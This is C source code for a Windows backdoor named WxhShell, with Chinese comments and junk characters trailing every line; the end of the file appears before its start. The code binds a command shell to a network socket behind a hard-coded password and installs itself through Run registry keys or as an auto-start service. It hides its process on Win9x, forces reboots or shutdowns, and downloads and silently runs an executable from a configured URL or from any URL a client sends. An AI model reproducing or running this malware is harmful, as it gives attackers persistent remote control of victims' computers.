    if(Boot(SHUTDOWN)) Ie G7@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _DPB?)!x  
    else { e5qrQwU  
    closesocket(wsh); i ll-%OPeg  
    ExitThread(0); {h/OnBwG  
    } %XEKhy  
    break; 0On? {Bw  
    } qYgwyj=4  
  // 获取shell /~o7Q$)-b  
  case 's': { QHHW(InG<  
    CmdShell(wsh); ~")h E%Kl}  
    closesocket(wsh); z +3<$Z  
    ExitThread(0); LJRg>8  
    break; g9yaNelDh)  
  } 0[n c7)sW  
  // 退出 7=7!| UV  
  case 'x': { j3*M!fM9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 55 S\&Ad$  
    CloseIt(wsh); T-L|Q,-{-  
    break; u-AWJc+F.  
    } V,>+G6e  
  // 离开 *'UhlFed  
  case 'q': { 0K=Qf69Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CCbkxHMf|!  
    closesocket(wsh); ,vY)n6  
    WSACleanup(); uL2"StW  
    exit(1); XIr{U5$<6  
    break; Q0pC4WJ`  
        } ?TvQ"Y}k  
  } w{k1Y+1  
  } 1a7!4)\  
AddGB^7yl  
  // 提示信息 :y=!{J<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k_,MoDz  
} 5h_<R!jA  
  } !UBy%DN~k  
[8,PO  
  return; O0@w(L-  
} 6eOrs-ty  
mND XzT&  
// shell模块句柄 YS]>_  
int CmdShell(SOCKET sock) aQ(`6DQv  
{ Z} c'Bm(  
STARTUPINFO si; _LJ5o_-N  
ZeroMemory(&si,sizeof(si)); Hu<p?mF#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BX@pt;$ek7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q>^hoW2$C  
PROCESS_INFORMATION ProcessInfo; @bY('gC,  
char cmdline[]="cmd"; /h/6&R0l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1|o$X  
  return 0; sCVI 2S!L  
} ;*y|8od B  
RXGHD19]  
// 自身启动模式 6!ZVd#OM%  
int StartFromService(void) \.c]kG>k-  
{ M6J/mOVx5  
typedef struct zL9VR;q  
{ ~}h^38  
  DWORD ExitStatus; ,5/V@;i  
  DWORD PebBaseAddress; q.-y)C) ;  
  DWORD AffinityMask; _ e6a8  
  DWORD BasePriority; >R(8/#|E  
  ULONG UniqueProcessId; \M7I&~V  
  ULONG InheritedFromUniqueProcessId; {I`B[,*  
}   PROCESS_BASIC_INFORMATION; Xc\* 9XV:  
*i`v~ >  
PROCNTQSIP NtQueryInformationProcess; UE^D2u  
+AB6lv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rFhW^fP/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3AK(dC[ri  
?$3r5sx  
  HANDLE             hProcess; =K&#.r  
  PROCESS_BASIC_INFORMATION pbi; >[a FOA  
6MuWlCKF8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (YIhTSL"]  
  if(NULL == hInst ) return 0; Z)/6??/R  
Kaf>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `8,w[o oC2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PfyRZ[3)c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fCB:733H  
"ml?7Xl,n  
  if (!NtQueryInformationProcess) return 0; Yj) e$f  
QjLji +L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,E&Bn8L~O  
  if(!hProcess) return 0; u,f A!  
prZ55MS.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qtHfz"p  
+O'vj  
  CloseHandle(hProcess); {1~9vHAZ  
9SY(EL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  JX{KYU  
if(hProcess==NULL) return 0; Xem 05%,  
wy''tqg6  
HMODULE hMod; ` K w7"  
char procName[255]; Y~az!8j;Z  
unsigned long cbNeeded; kBbl+1{H  
qbXz7s*{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fE^uF[-7?  
job[bhK'Jt  
  CloseHandle(hProcess); sAVefL?  
@&5A&(  
if(strstr(procName,"services")) return 1; // 以服务启动 4b4QbJ$  
DF'8GF&Rp  
  return 0; // 注册表启动  Vu [:A  
} hY+R'9  
_9NVE|c;  
// 主模块 ET)>#zp+s  
int StartWxhshell(LPSTR lpCmdLine) }kE87x'  
{ .jU Z  
  SOCKET wsl; 0N{+y}/G  
BOOL val=TRUE; i&A%"lOI9  
  int port=0; XvskB[\  
  struct sockaddr_in door; . |uLt J  
 5@ foxI  
  if(wscfg.ws_autoins) Install(); :M j_2  
kM!V .e[g  
port=atoi(lpCmdLine); ?>V6P_r>  
B;!f<"a8  
if(port<=0) port=wscfg.ws_port; +yWR#[`n  
RZO5=L9E  
  WSADATA data; 6Nt$ZYS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Uli>/%JB  
TFy7HX\Oq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F6W}mMZH/N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pd~MiyO;K  
  door.sin_family = AF_INET; 2J<&rKCF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hmZvIy(  
  door.sin_port = htons(port); yG&2UqX  
iITp**l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C0fmmI0z~  
closesocket(wsl); YsP/p-  
return 1; !8*McO I  
} 'L{p,  
gDCOLDM  
  if(listen(wsl,2) == INVALID_SOCKET) { "}b'E#  
closesocket(wsl); m_* R.a  
return 1; .#fPw_i  
} :[sOKV i  
  Wxhshell(wsl); K;U39ofW  
  WSACleanup(); kX[fy7rVt  
We}lx{E  
return 0; knT.l"  
m&IsDAn  
} %M&3VQ9w  
=Ikg.jYq&F  
// 以NT服务方式启动 kq-6HDR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e"Rm_t  
{ DA"}A`HfI  
DWORD   status = 0; @T&t.|`  
  DWORD   specificError = 0xfffffff; -[R!O'N9  
=MLf[   
  serviceStatus.dwServiceType     = SERVICE_WIN32; XoR>H4xh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +y&d;0!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dB;3.<S=  
  serviceStatus.dwWin32ExitCode     = 0; "&lN\&:  
  serviceStatus.dwServiceSpecificExitCode = 0; Z0ReWrl;`  
  serviceStatus.dwCheckPoint       = 0; ~ y;y(4<  
  serviceStatus.dwWaitHint       = 0; jxw_*^w"  
\M(* =5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;;V\"7q'  
  if (hServiceStatusHandle==0) return; KWhZ +i`  
- 8bNQU  
status = GetLastError(); }rbZ&IN\?E  
  if (status!=NO_ERROR) e*]r  
{ RY=1H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {8@\Ij  
    serviceStatus.dwCheckPoint       = 0; N[Sb#w`[/  
    serviceStatus.dwWaitHint       = 0; _3>djF_u  
    serviceStatus.dwWin32ExitCode     = status; O8|*M "  
    serviceStatus.dwServiceSpecificExitCode = specificError; b |7ja_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y)b@0'  
    return; ZPO|<uR  
  } 7*s8 ttX  
RFko>d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Xn%at4  
  serviceStatus.dwCheckPoint       = 0; 9"sDm}5%  
  serviceStatus.dwWaitHint       = 0; t`|,6qEG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V U~Dk);Bv  
} #Hu~}zy  
Ip?]K*sq  
// 处理NT服务事件,比如:启动、停止 G'x .NL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E \{<;S  
{ vR>o}%`  
switch(fdwControl) z`$J_CjY  
{ wJG$c-(\0  
case SERVICE_CONTROL_STOP: eW8[I'v_&  
  serviceStatus.dwWin32ExitCode = 0; f h<*8w0H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M>l^%`  
  serviceStatus.dwCheckPoint   = 0; j@1)K3Hga  
  serviceStatus.dwWaitHint     = 0; Zzj0\? Ul  
  { } /:\U p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yrn"saVc,  
  } Jx|I6 y  
  return; HIf{Z* mb  
case SERVICE_CONTROL_PAUSE: #^rU x.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2KI!af[I  
  break; ]hTb@.  
case SERVICE_CONTROL_CONTINUE: l@~LV}BI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3HiFISA*  
  break; .mxTfP=9  
case SERVICE_CONTROL_INTERROGATE: xiM&$<LpR  
  break; G&9#*<F$c  
}; I&]G   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X-JV'KE}^z  
} w1|Hy2D`0  
%_gho  
// 标准应用程序主函数 |M5-5)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  Mm= Mz  
{ {3edTu  
.~klG&>aV  
// 获取操作系统版本 ;D2E_!N dt  
OsIsNt=GetOsVer(); :q+N&j'3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uS5o?fg\e  
j9y3hQ+q  
  // 从命令行安装 ?IYY'fS"  
  if(strpbrk(lpCmdLine,"iI")) Install(); $L}aQlA1JM  
&ITuyGmF  
  // 下载执行文件 vRhnX  
if(wscfg.ws_downexe) { Hs?zq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F^kwdS  
  WinExec(wscfg.ws_filenam,SW_HIDE); G<qIY&D'  
}  6sxz_f  
wu~hqd  
if(!OsIsNt) { ?S#\K^  
// 如果时win9x,隐藏进程并且设置为注册表启动 8+'C_t/0i  
HideProc(); \m/xV /  
StartWxhshell(lpCmdLine); 4$"DbaC  
} uV]ULm#,i  
else *l>0t]5YH  
  if(StartFromService()) i~yX tya  
  // 以服务方式启动 (#Mp 5C'X  
  StartServiceCtrlDispatcher(DispatchTable); ;b%{ilx:  
else A7-r <s  
  // 普通方式启动 <94G  
  StartWxhshell(lpCmdLine); *\XH+/]+  
bEH de*q(  
return 0; 8^yJqAXK  
} .y4&rF$n  
?nFO:N<  
"mIgs9l$  
B BL485`  
=========================================== pGWA\}'  
N{joXHCu  
@}LZ! y  
KL3<Iz]  
]]uHM}l  
l";'6;g  
" L-h$Z0]_F  
oXYMoi  
#include <stdio.h> 6rDfQ`f\p  
#include <string.h> 6Wf^0ok  
#include <windows.h> zV.pol  
#include <winsock2.h> .p@N:)W6  
#include <winsvc.h> <,8l *1C  
#include <urlmon.h> 2qj{n+  
V[hK2rVH.  
#pragma comment (lib, "Ws2_32.lib") \,xFg w4  
#pragma comment (lib, "urlmon.lib") ~1(j&&kXet  
t/p $  
#define MAX_USER   100 // 最大客户端连接数 1~5trsB+5  
#define BUF_SOCK   200 // sock buffer UQ8bN I7  
#define KEY_BUFF   255 // 输入 buffer Omyt2`q  
IF_DZ   
#define REBOOT     0   // 重启 \7 a4uc  
#define SHUTDOWN   1   // 关机 J)x3\[}Ye  
c{3rl;Cs  
#define DEF_PORT   5000 // 监听端口 s: |M].  
y!Cc?$]_Y  
#define REG_LEN     16   // 注册表键长度 ^^?q$1k6r*  
#define SVC_LEN     80   // NT服务名长度 _ Jc2&(;  
<n0{7#PDqw  
// 从dll定义API yfe'>]7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %%}A|,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I3y9:4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FxU'LN<;HY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vv5i? F  
=!.m GW-Q}  
// wxhshell配置信息 tJZc/]%`H  
struct WSCFG { fC<m^%*zgA  
  int ws_port;         // 监听端口 z@h~Vb&I  
  char ws_passstr[REG_LEN]; // 口令 s3QEi^~  
  int ws_autoins;       // 安装标记, 1=yes 0=no "^rNr_  
  char ws_regname[REG_LEN]; // 注册表键名 wyY*:{lZ  
  char ws_svcname[REG_LEN]; // 服务名 o'= VZT9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _6LoVS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -T_\f?V88  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _j ;3-m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pB01J<@m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O!F]^'!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *"9<TSU%m  
E_:QSy5G  
}; ]T<^{jG  
Dn;p4T@  
// default Wxhshell configuration >P(`MSc  
struct WSCFG wscfg={DEF_PORT, FjKq%.=#  
    "xuhuanlingzhe", (xT*LF+  
    1, VXKT\9g3A  
    "Wxhshell", Re[ :qLa]  
    "Wxhshell", Q:o 7G|C  
            "WxhShell Service", ^%[F8\}XPJ  
    "Wrsky Windows CmdShell Service", <Oz66bTze  
    "Please Input Your Password: ", W|R-J  
  1, ,=By$.rr'  
  "http://www.wrsky.com/wxhshell.exe", T@ 48qg  
  "Wxhshell.exe" q)I|2~Q c^  
    }; yYTVXs`fVj  
A"l{?;~  
// 消息定义模块 "yh Pm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~"dhu]^  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ?J&)W,~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (6qsKX  
char *msg_ws_ext="\n\rExit."; f&I7,"v  
char *msg_ws_end="\n\rQuit."; K{DAOQ.z  
char *msg_ws_boot="\n\rReboot..."; Y;Y 1+jt  
char *msg_ws_poff="\n\rShutdown..."; TSto9 $}*  
char *msg_ws_down="\n\rSave to "; .[j%sGdKl  
v'9m7$  
char *msg_ws_err="\n\rErr!"; AK/:I>M  
char *msg_ws_ok="\n\rOK!"; |nxdB&1n  
5 2Hqu>  
char ExeFile[MAX_PATH]; v\A.Tyy  
int nUser = 0; R@`rT*lJ  
HANDLE handles[MAX_USER]; =_-C%<4  
int OsIsNt; :pZ}*?\  
`gguip-C  
SERVICE_STATUS       serviceStatus; C{m&}g`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cvn$]bt/s  
IN!02`H  
// 函数声明 OyVm(%Z   
int Install(void); b X,Siz:F  
int Uninstall(void); l)|lTOjb  
int DownloadFile(char *sURL, SOCKET wsh); >&K!VQ{g  
int Boot(int flag); 5h^[^*A?  
void HideProc(void); ti_u!kNv  
int GetOsVer(void); !#WqA9<  
int Wxhshell(SOCKET wsl); +zO]N&  
void TalkWithClient(void *cs); .Ff_s  
int CmdShell(SOCKET sock); 1f//wk|  
int StartFromService(void); 8wFn}lw&  
int StartWxhshell(LPSTR lpCmdLine); P6Xp<^%E  
w|Qd`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S+T|a:]\7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X"/~4\tJ"  
q=0 pQ1>  
// 数据结构和表定义 %z)EO9vtr  
SERVICE_TABLE_ENTRY DispatchTable[] = J$[Q?8 ka  
{ nQLs<]h1  
{wscfg.ws_svcname, NTServiceMain}, HeS'~Z$  
{NULL, NULL} f=_g8+}h  
}; {LB`)Kuu  
rsxRk7s@  
// 自我安装 z7=fDe -  
int Install(void) >t #\&|9I  
{ p;->hn~D'5  
  char svExeFile[MAX_PATH]; 5gK~('9'?1  
  HKEY key; nCaLdj?  
  strcpy(svExeFile,ExeFile); -c={+z "  
pVG>A&4  
// 如果是win9x系统,修改注册表设为自启动 W~dE  
if(!OsIsNt) { T$c+m\j6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 /m3+5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *m&&1W_  
  RegCloseKey(key); L@A9{,9Pl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v5 Y)al@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `:5,e/5,  
  RegCloseKey(key); Zi1YZxF`Y  
  return 0; AbY;H  
    } a4by^   
  } SIv[9G6  
} <}2A=~ _  
else { 5$^c@ 0  
^H!Lp[5c  
// 如果是NT以上系统,安装为系统服务 i+ic23$4M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r@|ZlM@O  
if (schSCManager!=0) l<N?'&  
{  -$R5  
  SC_HANDLE schService = CreateService m+T2vi  
  ( 4  
  schSCManager, z7q%,yw3N  
  wscfg.ws_svcname, (xUFl@I!  
  wscfg.ws_svcdisp, eT\p-4b  
  SERVICE_ALL_ACCESS, l?/gW D^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jt%WPkY:  
  SERVICE_AUTO_START, "1%*'B^}bw  
  SERVICE_ERROR_NORMAL, cYD1~JX.  
  svExeFile, `~E<Sf<M  
  NULL, 5f3!NeI  
  NULL, *a4 b  
  NULL, :SeLkQC  
  NULL, V8v,jS$l4  
  NULL v>k b^38  
  ); mxhW|}_-j  
  if (schService!=0) OfLM  
  { ]+,nA R  
  CloseServiceHandle(schService); 9OZ>y0)K~  
  CloseServiceHandle(schSCManager); )$F6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dauo(Uhuo  
  strcat(svExeFile,wscfg.ws_svcname); Is kSX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b,vL8*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $68 XZCx  
  RegCloseKey(key); vGyppm[0  
  return 0; #tP )-ww  
    } cJV!> 0ua  
  } ULrbQ}"cva  
  CloseServiceHandle(schSCManager); %w@ig~vD'  
} ASM1Y]'Z  
} .lG +a!)  
_!;\R7]  
return 1; hhj ,rcsi  
} J{x##p<F$  
cuNq9y;[  
// 自我卸载 >rRjm+vg  
int Uninstall(void) )#mW7m9M#  
{ =ZrjK=K  
  HKEY key; N N*Sb J0  
>oB ?  
if(!OsIsNt) { yEnKUo[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2}@*Ki7  
  RegDeleteValue(key,wscfg.ws_regname); KK .cDAR  
  RegCloseKey(key); s9kTuhoK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `|NevpXY1  
  RegDeleteValue(key,wscfg.ws_regname); "mG!L$  
  RegCloseKey(key); z22N7W=7  
  return 0; P^n{Y~P=Q  
  } |:/ @t  
} 9XY|V<}  
} "$4hv6 s  
else { GdL4|xv  
B~e7w 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U(8I+xZ  
if (schSCManager!=0) 25w6KBTe;:  
{ Ic_tc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eKS:7:X  
  if (schService!=0) f`bIQ9R  
  { )/ n29]  
  if(DeleteService(schService)!=0) { 0-lPhnrp  
  CloseServiceHandle(schService); n *Q4G}p  
  CloseServiceHandle(schSCManager); W>VAbm  
  return 0; >02i8:Tp5K  
  } t2m  ^  
  CloseServiceHandle(schService); s+Cl  
  } n9wj[t1/  
  CloseServiceHandle(schSCManager); F BE @pd  
} ?|gGsm+  
} dUUPhk0  
|)*m[_1  
return 1; YDdLDE  
} JO]`LF]  
:v''"+\  
// 从指定url下载文件 ,!8*g[^O  
int DownloadFile(char *sURL, SOCKET wsh) 4bFv"b  
{ Zu)i+GeG  
  HRESULT hr; ~ rQ4n9G  
char seps[]= "/"; av7q>NEZ!1  
char *token; l6yB_ M  
char *file; 8rnb  
char myURL[MAX_PATH]; lS>=y#i3Xv  
char myFILE[MAX_PATH]; *yL|}  
IZzhJK M1V  
strcpy(myURL,sURL); wV]sGHuF}  
  token=strtok(myURL,seps); hVROzGZk  
  while(token!=NULL) }u38:(^`ai  
  { alWx=+d  
    file=token; !Q<8c =f  
  token=strtok(NULL,seps); Fwg#d[:u  
  } mw2rSUI{  
ZY~zpC_  
GetCurrentDirectory(MAX_PATH,myFILE); _D!M nTK  
strcat(myFILE, "\\"); (mu{~@Hw  
strcat(myFILE, file); 2M!+gk=+  
  send(wsh,myFILE,strlen(myFILE),0); I67k M{V  
send(wsh,"...",3,0); zDKLo 3:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )^V5*#69D  
  if(hr==S_OK) E5v|SFD  
return 0; Xd90n>4S  
else l;"ub^AH  
return 1; pIM*c6  
Oct\He\.  
} 4Xa.r6T_N=  
@#G6z`,  
// 系统电源模块 '33Yl+h  
int Boot(int flag) KE }o  
{ ]QjXh >  
  HANDLE hToken; a @yE:HU  
  TOKEN_PRIVILEGES tkp; 7"h=MB_  
^F;Z%5P=  
  if(OsIsNt) { \H"/2o%l")  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Oi+Qy[y2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y)@oo=oG  
    tkp.PrivilegeCount = 1; =[v2   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B' P,?`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b tr x?k(  
if(flag==REBOOT) { 1o"y%*"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 38zR\@'j]4  
  return 0; :y<Cd[/  
} <S:,`v&Z  
else { hO:)=}+H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >@q2FSMf  
  return 0; ^D>/wX\u  
} {H~8'K-  
  } FRs|!\S=  
  else { +c~O0U1  
if(flag==REBOOT) { 2J>A;x_?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >=]NO'?O  
  return 0; ^mQ;CMV  
} 4#'^\5  
else { 6c;?`C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'T #<OR  
  return 0; (STWAwK-  
} TZ`]#^kU  
} p~k`Z^ xY$  
hx2!YNx !  
return 1; Wr}a\}R  
} +9=p*3cnp  
s\n,Z?m  
// win9x进程隐藏模块 yE!7`c.[u  
void HideProc(void) Xs#?~~"aC  
{ q]wn:%rX  
D7n&9Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QWIOim-  
  if ( hKernel != NULL ) 7Vof7Y <  
  { @EH4N%fH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z7k1fv:S^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~Krg8s!F&  
    FreeLibrary(hKernel); ]h`E4B  
  } .DM1Knj  
A~ %g"  
return; :\ON+LQr  
} 8B% O%*5`  
^.><t+tM  
// 获取操作系统版本 ` Q!FMv6Y^  
int GetOsVer(void) =*U%j  
{ mF$jC:Tb  
  OSVERSIONINFO winfo; d/-0B<ts  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @)!1#^(}%  
  GetVersionEx(&winfo); #L)4 |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {f6A[ZO;J  
  return 1; ^LQ lfd  
  else gIf+.^/m1  
  return 0; IhFw{=2*  
} NnSI)*%'  
"S:NU .c?  
// 客户端句柄模块 SgQmYaa&  
int Wxhshell(SOCKET wsl) 6nhfI\q3wY  
{ nk?xNe4  
  SOCKET wsh; bvxxE/?Ni  
  struct sockaddr_in client; _sD]Viqc  
  DWORD myID; 3M>FU4Ug2  
pdXgr)Uv  
  while(nUser<MAX_USER) !WVabdt  
{ MHzsxF|  
  int nSize=sizeof(client); c#4ZDjvm6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w7]p9B  
  if(wsh==INVALID_SOCKET) return 1; [.yx2@W  
PrYWha=c-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bNPjefBF  
if(handles[nUser]==0) VIlQzM;%^  
  closesocket(wsh); )jQe K  
else 4s+J-l  
  nUser++; ?28G6T]/?d  
  }  TVEF+t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2>_LX!kyP]  
n4 6PQm%p  
  return 0; .4m3@!qo)E  
} )]e d;V  
QIxJFr;>  
// 关闭 socket ]t!}D6p  
void CloseIt(SOCKET wsh) '-1jWw:8  
{ &4$43\(D  
closesocket(wsh); (? #U&  
nUser--; Ok.DSOT  
ExitThread(0); 9.w3VF_C  
} i|! 9o:  
sMe~C>RD  
// 客户端请求句柄 onypwfIk)t  
void TalkWithClient(void *cs) GlkAJe]  
{ pU)3*9?cIl  
!j\&BAxTEk  
  SOCKET wsh=(SOCKET)cs; {bsr 9.k(  
  char pwd[SVC_LEN]; H_nOE(i<z  
  char cmd[KEY_BUFF]; W*WH .1&  
char chr[1]; ->#@rF:S  
int i,j; UOL%tT  
yl;$#aZB  
  while (nUser < MAX_USER) { mjr{L{H=?+  
."@a1_F|  
if(wscfg.ws_passstr) { Y_iF$ m/R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e+[J[<8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A.cZa  
  //ZeroMemory(pwd,KEY_BUFF); z_iyuLRdb  
      i=0; :^.87>V7  
  while(i<SVC_LEN) { j$i8@]  
HFCFEamBMP  
  // 设置超时 =.2cZwxX$  
  fd_set FdRead; !z6/.>QJ~  
  struct timeval TimeOut; Jj _+YfIM  
  FD_ZERO(&FdRead); p 7E{es|J  
  FD_SET(wsh,&FdRead); n[p9$W`  
  TimeOut.tv_sec=8; [Kj#KJxy  
  TimeOut.tv_usec=0; F v^80M=z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sy7^;/(ZZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Btx&'m  
/r 2.j3:l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U~`^Y8UF  
  pwd=chr[0]; w5JC2   
  if(chr[0]==0xd || chr[0]==0xa) { gJcL{]  
  pwd=0; O5n] 4)<  
  break; BE@H~<E J  
  } RBojT   
  i++; vBQ?S2f  
    } TKutO0  
{_gj>n(1  
  // 如果是非法用户,关闭 socket G5@fqh6ws  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T%vbD*nt.  
} Fm+)mmJP  
'C4Ll2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N`GwL aF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &=t(NI$  
s*U&[7P  
while(1) { 4!RI2?4V  
_A0avMD}  
  ZeroMemory(cmd,KEY_BUFF); c!FjHlAnP  
v7I*W/  
      // 自动支持客户端 telnet标准   -2u+m  
  j=0; ,rPyXS9Sa{  
  while(j<KEY_BUFF) { OL+40J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >qGR^yvb  
  cmd[j]=chr[0]; cO?"  
  if(chr[0]==0xa || chr[0]==0xd) { \$Qm2XKrK  
  cmd[j]=0; g. VIe  
  break; #)eJz1~  
  } T#;*I#A:  
  j++; (ZR"O8  
    } #AnSjl  
+s 0Bt '  
  // 下载文件 u5|e9(J  
  if(strstr(cmd,"http://")) { 49kia!FR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `r bqYU0  
  if(DownloadFile(cmd,wsh)) 6_ 0w>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-aq".XQ  
  else 2Ab#uPBn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E|#R0n*  
  } H%%nB  
  else {  b- /x  
PP`n>v=n  
    switch(cmd[0]) { j %0_!*#3  
